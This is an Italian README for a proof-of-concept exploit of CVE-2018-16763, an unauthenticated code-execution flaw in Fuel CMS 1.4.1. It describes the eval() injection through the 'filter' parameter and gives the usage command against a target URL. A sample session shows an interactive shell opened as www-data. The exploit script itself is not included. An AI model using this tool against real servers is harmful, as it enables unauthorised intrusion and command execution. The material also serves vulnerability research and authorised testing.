CVE-2018-16763 — Fuel CMS 1.4.1 Remote Code Execution (PoC)

Vulnerabilità RCE non autenticata in Fuel CMS 1.4.1. Il parametro filter nell'endpoint /fuel/pages/select/ viene passato senza sanitizzazione a una chiamata eval() nel backend PHP, consentendo l'esecuzione arbitraria di codice tramite un payload appositamente costruito. A differenza delle iniezioni cieche, l'output viene riflesso direttamente nella risposta HTTP, quindi non è necessario alcun file intermedio.

Come funziona

1. Invia una richiesta GET a /fuel/pages/select/ con un payload filter appositamente costruito che chiama system() di PHP con il comando desiderato.
2. Analizza l'output riflesso nella risposta HTTP utilizzando un pattern regex.
3. Restituisce l'output del comando direttamente alla shell interattiva.

Requisiti

• Python 3
• Installare le dipendenze:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit

Utilizzo

python3 exploit.py -t http://TARGET

Esempio:

$ python3 exploit.py -t http://10.10.10.10
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data
Shell> hostname
fuel-cms
Shell> exit

Riferimenti

• CVE-2018-16763
• EDB-47138

Crediti

• Scoperta & exploit originale: Syed Sheeraz Ali
• Pulizia & shell interattiva: Esteban Zárate